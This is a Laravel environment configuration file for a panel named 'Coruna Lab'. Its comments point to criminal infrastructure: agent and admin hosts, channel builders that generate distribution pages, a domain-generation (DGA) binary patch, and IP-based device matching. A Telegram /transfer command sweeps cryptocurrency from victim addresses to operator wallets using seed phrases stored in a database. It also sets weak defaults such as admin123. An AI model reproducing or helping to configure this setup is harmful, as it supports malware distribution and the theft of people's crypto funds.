123 lines
3.8 KiB
Bash
123 lines
3.8 KiB
Bash
APP_NAME="Coruna Lab"
|
|
APP_ENV=local
|
|
APP_KEY=
|
|
APP_DEBUG=true
|
|
APP_URL=http://127.0.0.1:8000
|
|
APP_TIMEZONE=Asia/Singapore
|
|
|
|
# Behind Cloudflare / Nginx reverse proxy: trust X-Forwarded-* for real client IP.
|
|
# Use * when origin is only reachable via the proxy; otherwise list proxy CIDRs.
|
|
TRUSTED_PROXIES=*
|
|
|
|
APP_LOCALE=en
|
|
APP_FALLBACK_LOCALE=en
|
|
APP_FAKER_LOCALE=en_US
|
|
|
|
APP_MAINTENANCE_DRIVER=file
|
|
|
|
BCRYPT_ROUNDS=12
|
|
|
|
LOG_CHANNEL=stack
|
|
LOG_STACK=single
|
|
LOG_DEPRECATIONS_CHANNEL=null
|
|
LOG_LEVEL=debug
|
|
|
|
# Preferred: MySQL 8.0
|
|
DB_CONNECTION=mysql
|
|
DB_HOST=127.0.0.1
|
|
DB_PORT=3306
|
|
DB_DATABASE=coruna
|
|
DB_USERNAME=root
|
|
DB_PASSWORD=
|
|
|
|
# Fallback for smoke tests when MySQL creds unavailable:
|
|
# DB_CONNECTION=sqlite
|
|
# DB_DATABASE=database/database.sqlite
|
|
|
|
SESSION_DRIVER=file
|
|
SESSION_LIFETIME=120
|
|
SESSION_ENCRYPT=false
|
|
SESSION_PATH=/
|
|
SESSION_DOMAIN=null
|
|
|
|
BROADCAST_CONNECTION=log
|
|
FILESYSTEM_DISK=local
|
|
QUEUE_CONNECTION=sync
|
|
CACHE_STORE=file
|
|
|
|
# Admin seeder defaults
|
|
ADMIN_USERNAME=admin
|
|
ADMIN_PASSWORD=admin123
|
|
|
|
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
|
CORUNA_SESSION_KEY=
|
|
# Optional link-display hosts (not used by DGA binary patch).
|
|
# Overridable by 系统设置 → 投放域名.
|
|
CORUNA_LAB_CHANNEL_DOMAINS=
|
|
CORUNA_REPORTING_DOMAINS=
|
|
# Panel Host allowlists (comma/space separated). Empty = no restriction.
|
|
# Prefer configuring in Admin → 系统 → 设置 after bootstrap.
|
|
CORUNA_ADMIN_HOSTS=
|
|
CORUNA_AGENT_HOSTS=
|
|
# In-process channel builders (Python). Old: channel-builder → public/web|sync
|
|
# New (xxbb/weifile): channel-builder-new → public/details + public/channel/<ver>/
|
|
CORUNA_CHANNEL_BUILDER_PYTHON=
|
|
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=
|
|
CORUNA_ARTIFACT_ROOT=
|
|
CORUNA_CHANNEL_STATE_ROOT=
|
|
CORUNA_CHANNEL_NEW_STATE_ROOT=
|
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
|
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
|
CORUNA_STATIC_SITE_SCHEME=https
|
|
# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id.
|
|
# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here.
|
|
XXBB_CHANNEL_C=
|
|
# Match iptj PageVisit → new-builder device by IP (minutes).
|
|
XXBB_VISIT_MATCH_MINUTES=30
|
|
# Max channel links per agent (super-admin settings can override)
|
|
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
|
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
|
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
|
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
|
# Or set the system path (exec usually works; do not rely on is_executable):
|
|
# CORUNA_7Z_BIN=/usr/bin/7z
|
|
CORUNA_7Z_BIN=
|
|
|
|
# Telegram (outbound alerts + inbound Nutgram commands)
|
|
TELEGRAM_BOT_TOKEN=
|
|
TELEGRAM_OWNER_CHAT_ID=
|
|
# Optional cache of @username; normally filled automatically via getMe when saving Token
|
|
# TELEGRAM_BOT_USERNAME=
|
|
# Optional; if set, register via: php artisan telegram:set-webhook
|
|
TELEGRAM_WEBHOOK_SECRET=
|
|
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
|
# NUTGRAM_SAFE_MODE=false
|
|
|
|
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
|
|
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
|
|
# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*.
|
|
TRANSFER_TO_ADDRESS=
|
|
TRANSFER_TO_ADDRESS_ETH=
|
|
TRANSFER_TO_ADDRESS_BTC=
|
|
# TRANSFER_MAX_USDT=0
|
|
# TRANSFER_MAX_TRX=0
|
|
# TRANSFER_MAX_ETH=0
|
|
# TRANSFER_MAX_BTC=0
|
|
# TRANSFER_MAX_DERIVE_INDEX=20
|
|
# TRANSFER_TRX_FEE_RESERVE=1
|
|
# TRANSFER_ETH_FEE_RESERVE=0.001
|
|
# TRANSFER_BTC_FEE_RESERVE=0.0001
|
|
TRON_FULL_NODE=https://api.trongrid.io
|
|
TRON_API_KEY=
|
|
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
|
ETH_RPC_URL=https://ethereum.publicnode.com
|
|
# ETH_CHAIN_ID=1
|
|
ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7
|
|
BTC_API_URL=https://mempool.space/api
|
|
# BTC_FEE_RATE=0
|
|
|
|
# Tokenview address tracking (monitor=1 addresses)
|
|
TOKENVIEW_API_KEY=
|
|
TOKENVIEW_SIGN_KEY=
|
|
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|